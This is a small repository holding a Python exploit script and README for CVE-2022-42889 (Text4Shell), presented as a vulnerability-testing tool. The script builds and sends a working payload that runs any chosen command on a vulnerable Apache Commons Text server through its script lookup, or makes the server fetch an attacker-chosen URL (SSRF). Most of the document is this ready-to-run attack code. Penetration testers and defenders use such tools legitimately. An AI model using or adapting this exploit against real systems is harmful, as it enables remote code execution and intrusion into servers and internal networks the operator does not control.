├── text4shell.py
└── README.md


/text4shell.py:
--------------------------------------------------------------------------------
 1 | #! /usr/bin/python3
 2 | 
 3 | import argparse
 4 | import urllib.parse
 5 | import requests
 6 | 
 7 | # Set up argument parser
 8 | parser = argparse.ArgumentParser(description='Combine command and URL.')
 9 | 
10 | parser.add_argument('-c', '--command', type=str, required=False, help='Command to be executed')
11 | parser.add_argument('-u', '--url', type=str, required=True, help='Base URL (if RCE mode selected, include ?variable=)')
12 | parser.add_argument('-s', '--ssrf', type=str, required=False, help='URL to request in ssrf mode')
13 | parser.add_argument('-m', '--mode', type=str, required=True, choices=['ssrf', 'rce'], help='Mode to be used')
14 | 
15 | 
16 | args = parser.parse_args()
17 | 
18 | #Check Mode
19 | if args.mode == 'rce':
20 |     if not args.command:
21 |         print("Error: command must be provided for rce mode")
22 |         exit(1)
23 | 
24 |     # Payload creation & encoding
25 |     js_command = f"${{script:javascript:java.lang.Runtime.getRuntime().exec('{args.command}')}}"
26 |     js_command_encoded = urllib.parse.quote(js_command)
27 | 
28 |     # Combine command and URL
29 |     full_url = f"{args.url}{js_command_encoded}"
30 | 
31 | elif args.mode == 'ssrf':
32 |     if not args.ssrf:
33 |         print("Error: ssrf url must be provided for ssrf mode")
34 |         exit(1)
35 | 
36 |     # Payload creation & encoding
37 |     ssrf = f"${{url:UTF-8:{args.ssrf}}}"
38 |     ssrf_encoded = urllib.parse.quote(ssrf)
39 | 
40 |     # Combine command and URL
41 |     full_url = f"{args.url}{ssrf_encoded}"
42 | 
43 | # Make a GET Request
44 | response = requests.get(full_url)
45 | 
46 | # Print response
47 | print("Response status code:", response.status_code)
48 | print("Response body:", response.text)
49 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # CVE-2022-42889 (Text4Shell) Testing Script
 2 | 
 3 | This repository contains a Python script to automate the process of testing for a vulnerability known as Text4Shell, referenced under the CVE id: CVE-2022-42889.  
 4 | 
 5 | ## About Text4Shell (CVE-2022-42889)  
 6 | 
 7 | Text4Shell is a critical vulnerability that affects a wide range of systems. The vulnerability lies in the way these systems parse text strings and allows for the execution of arbitrary code or SSRF attacks.  The vulnerability is exploited through crafted strings, where either JavaScript code is executed (leading to Remote Code Execution (RCE)) or URLs are fetched (leading to Server-Side Request Forgery (SSRF)).  
 8 | 
 9 | From [Tarlogic](https://www.tarlogic.com/blog/cve-2022-42889-text4shell-vulnerability/):
10 | 
11 | - **Exploitation requirements**:
12 | - The application accepts user-controlled input that is subsequently processed by one of the following methods of the affected component:
13 | 
14 | 	- StringLookupFactory.INSTANCE.interpolatorStringLookup().lookup()
15 | 	- StringSubstitutor.createInterpolator().replace()
16 | 
17 | - Java versions equal or greater than Java 15 would not be susceptible to remote code execution, since the Nashorn engine is disabled and the “script” prefix would not be available. However, other attacks via the “url” and “dns” prefixes would be possible.
18 | 
19 | ## Script Usage  
20 | 
21 | This Python script helps in testing the presence of the Text4Shell vulnerability in a system. The scope of this script includes: testing of script and url prefixes.
22 | 
23 | The script has two modes of operation: RCE and SSRF, controlled by the `-m` or `--mode` command-line argument. It constructs a URL incorporating a crafted string based on the selected mode and makes a GET request to the URL.  
24 | 
25 | ### RCE Mode  
26 | 
27 | In RCE mode, the script creates a crafted string that attempts to execute a JavaScript command. The command to be executed is passed as a command-line argument using `-c` or `--command`.  
28 | 
29 | ```bash
30 | python text4shell.py -u 'http://example.com/search?query=' -c 'your_command' -m 'rce'
31 | ```
32 | 
33 | ### SSRF Mode
34 | 
35 | In SSRF mode, the script creates a crafted string that includes a URL fetch command.
36 | 
37 | ```bash
38 | python text4shell.py -u 'http://example.com/search?query=' -m 'ssrf' -s 'http://example.com/resource'
39 | ```
40 | 
41 | ### Response
42 | 
43 | The script makes a GET request to the constructed URL and prints the HTTP response status code and body.
44 | 


--------------------------------------------------------------------------------